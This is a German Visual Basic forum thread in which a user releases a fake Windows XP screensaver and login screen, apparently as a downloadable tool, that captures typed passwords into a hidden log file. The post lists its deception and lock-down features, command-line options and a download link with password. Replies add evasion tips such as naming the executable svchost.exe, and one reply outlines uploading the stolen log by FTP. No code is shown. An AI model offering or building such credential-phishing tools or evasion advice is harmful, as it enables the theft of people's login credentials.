Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Projekte
Autor
Nachricht
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248

[B] WinXP Passtealer
Verfasst am: 30.07.2007, 10:01

Hab hier mal was älteres von mir für euch.
Ist ein fake vom WindowsXP Screensaver. Wobei also der Screensaver vorgetäuscht wird und dann der Login. Die Eingaben werden dann in einer Datei gespeichert.

Eigentlich hatte ich schon vor langer Zeit an einem Builder und vielen Einstellmöglichkeiten gearbeitet, aber ich hab keine Lust mehr dieses Tool zu erweitern.
Hab es jetzt auf das wichtigste reduziert und man kann jetzt Parameter per CMD übergeben. So könnt ihr diese Datei in Projekte von euch einbauen.

Hier die Funktionen:

1. Nach bestimmter Zeit ohne Mausbewegung wird der XP Screensaver vorgetäuscht.
2. Wenn der User dann etwas bewegt oder drückt, kommt ein Anmelde Screen, wie bei Windows.
3. Die eingegeben Daten werden in einer Datei gespeichert.
4. Man kann die Zeit bis der Screensaver gestartet wird per CMD bestimmen
5. Der Pfad zum speichern der Datei lässt sich ebenfalls bestimmen.
6. Außerdem kann man bestimmen, ob man nur die Anmeldung des Administrators zulassen will, oder von einem bestimmten User.
7. Tastenkombinationen wie Alt+F4, Alt+Tab, Alt+Esc werden blockiert.
8. Über die Registry wird außerdem der echte WindowsXP Screensaver aktiviert, damit der Benutzer keinen Verdacht schöpft.
9. Anmelde und Abmelde Sound werden abgespielt.
10. Alle geöffneten Fenster werden minimiert.
11. Desktop wird ausgeblendet
12. Taskbar wird ausgeblendet
13. Mauszeiger wird ausgeblendet beim screensaver
14. Computername und Benutzername wird ermittelt und dementsprechend in den Text eingebaut.
15. Screensaver ist immer im Vordergrund
16. Taskmanager wird blockiert.
17. Logfile wird mit den Attributen hidden und system erstellt.

Ich hab mir damals ziemlich viel Mühe gegeben um den Fake sehr realistisch zu gestalten. Ich denke das ist mir ganz gut gelungen.




Parameter:

Zeit in Sekunden eingeben, die das Programm abwartet bis es startet. (Standard = 60 Sekunden)
-t 60

Pfad zum speichern des logs. (Standard = App.Path & "scr.log"
-f C:\abc.txt

Usernamen oder nur Administratoren erlauben. (Standard = Else)
-u BestimmterUser
-u admin


Edit// Hab noch Fehler ausgebessert und noch was erweitert. Thx Bahamut.
Download: http://lix.in/f9eaf7
Password: vb-x.org

Und ich erwarte von euch Feedback dazu wenn ihr es runterladet.

mfg


Zuletzt bearbeitet von ZiG_ am 04.08.2007, 13:46, insgesamt 6-mal bearbeitet
 
Bahamut_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 12.12.2006
Beiträge: 250


Verfasst am: 30.07.2007, 10:23

Also erstmal Respekt, der Fake is dir echt gut gelungen Cool

Vorallem frag ich mich, wie du die Tasten so gut unter XP geblockt hast, ich glaub wir müssen mal ICQ chatten ^^

Hier noch paar Verbesserungsvorschläge:

- Die .exe vor dem Taskmanager verstecken (ist nicht umbedingt nötig, man kann sie auch svchost.exe nennen xD )

- Das komische Fenster, das den Pfad zur Log anzeigt, wegmachen (ist wohl nur n kleiner Bug, denk nicht dass das beabsichtigt ist ^^ )

- Die Log noch +s machen, also als Systemdatei markieren, falls einer die versteckten Dateien anzeigen lässt

- Was mich noch stört ist, dass man irgend nen Mist eingeben kann und es funktioniert trotzdem, aber anders gehts wohl leider nicht, außer du entschlüssest das WinPwd xD

Aber wirklich gut gelungen, schade dass du keinen Builder gemacht hast, vll überlegst es dir ja nochmal anders Wink
VB.Net-Compiler: http://www.microsoft.com/germany/express/download/default.aspx
VB.Net-eBook: http://www.galileocomputing.de/openbook/visual_basic/
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 30.07.2007, 10:32

Jop. Das Fenster ist ne Messagebox die ich vergessen hab rauszunehmen.
Das Programm wird im Taskmanager versteckt nur nicht unter den Prozessen. Das ist mir einfach jetzt zu viel Aufwand.
Das Attribut Systemdatei werde ich auch noch setzen, aber mehr mach ich dann auch nicht mehr. Hab einfach keine Lust mehr an diesem Projekt.

Und das ich den LM bzw. NTLM Hash auslese und mit dem eingebenen pw vergleiche ist ja wohl bisschen zuviel verlangt. xD

Einen Fehler im Design hab ich auch noch entdeckt.
Werde mal schnell alles korrigieren.

thx, ZiG

Edit//
Klar können wir mal in ICQ reden, aber ich benutze halt VB6 und nicht VB.Net
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 04.08.2007, 08:46

Schade das niemand mehr was dazu sagt obwohl es einige runtergeladen haben.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
Bahamut_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 12.12.2006
Beiträge: 250


Verfasst am: 04.08.2007, 10:43

Is zwar Offtopic aber muss mal gesagt werden:

Irgendwie gibt es zig Threads wo nur wir beide was dazu schreiben - also entweder sind wir voll die Spammer oder die anderen schreiben viel zu wenig xD

Btw wir haben im Moment über 400 User die noch 0 Beiträge haben. Das sind 2/3 aller registrierten User Confused
VB.Net-Compiler: http://www.microsoft.com/germany/express/download/default.aspx
VB.Net-eBook: http://www.galileocomputing.de/openbook/visual_basic/
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 04.08.2007, 11:09

Ja, das sind leider die User die sich nur anmelden um Tuts und sources zu leechen.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
krzys1992_
Newbie
Newbie

Anmeldedatum: 02.06.2007
Beiträge: 3


Verfasst am: 09.08.2007, 17:39

Hey ZiG Smile

Ich hätte da mal eine Frage:

Und zwar ^^ wie hast du das mit dem Design geschafft? Hast du "nur" Screenshot's gemacht, und das wichtigste praktisch dann nur zurecht geschnibbelt? Oder wie hast du es geschafft? Smile

Gruß krzys1992

Edit: Ach..so... ja und woher hast du denn das eine Icon her? ^^ Das Icon auf der linken Seite... mit dem Schloss an der seite^^ Wo hast du das her? =)
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 09.08.2007, 18:32

Das komplette Anmeldefenster is ein Bild.
Das hab ich dann halt angepasst und Buttons etc eingefügt.
Das müßten alles Screenshots sein, bin mir aber nicht mehr sicher, da das schon sehr lange her ist wie ich das gemacht habe.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
krzys1992_
Newbie
Newbie

Anmeldedatum: 02.06.2007
Beiträge: 3


Verfasst am: 09.08.2007, 19:33

Okay, danke dir Smile

Ist aber vom Programm her ganz gut geworden Smile Und sieht auf jedenfall echt aus ^^

Gute Idee, gut umgesetzt -> Note 1 Very Happy :zustimm: :respekt:

Gruß krzys1992 Smile
 
nami_
Newbie
Newbie

Anmeldedatum: 26.09.2007
Beiträge: 18


Verfasst am: 26.09.2007, 09:35

Hi,

eine Frage: Kann ich mir die Daten per FTP oder Mail senden lassen?
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 26.09.2007, 10:00


Ne, das hab ich absichtlich nicht eingebaut. Und auch weil ich keine Lust mehr dazu hatte.

Du kannst die Datei aber über cmd steuern.
Also ist es möglich, das du dir selbst etwas programmierst, die Datei entpackst und ausführst und die erstellte Textdatei auf einen ftp oder sonstiges sendest.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Projekte
 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge Visual Basic Download ? 1993 03.05.2011, 08:38
Keine neuen Beiträge Api Download in Prozent + Kb anzeige + Progrezzbar 1459 21.10.2007, 14:03
Keine neuen Beiträge Download 1479 30.08.2007, 16:45
Keine neuen Beiträge Download mit Internet Explorer Object 1025 18.08.2008, 20:00
Keine neuen Beiträge Visual Basic 6 download 4306 26.05.2007, 12:51
 


[ Time: 0.2314s ][ Queries: 110 (0.1355s) ][ GZIP on - Debug on ]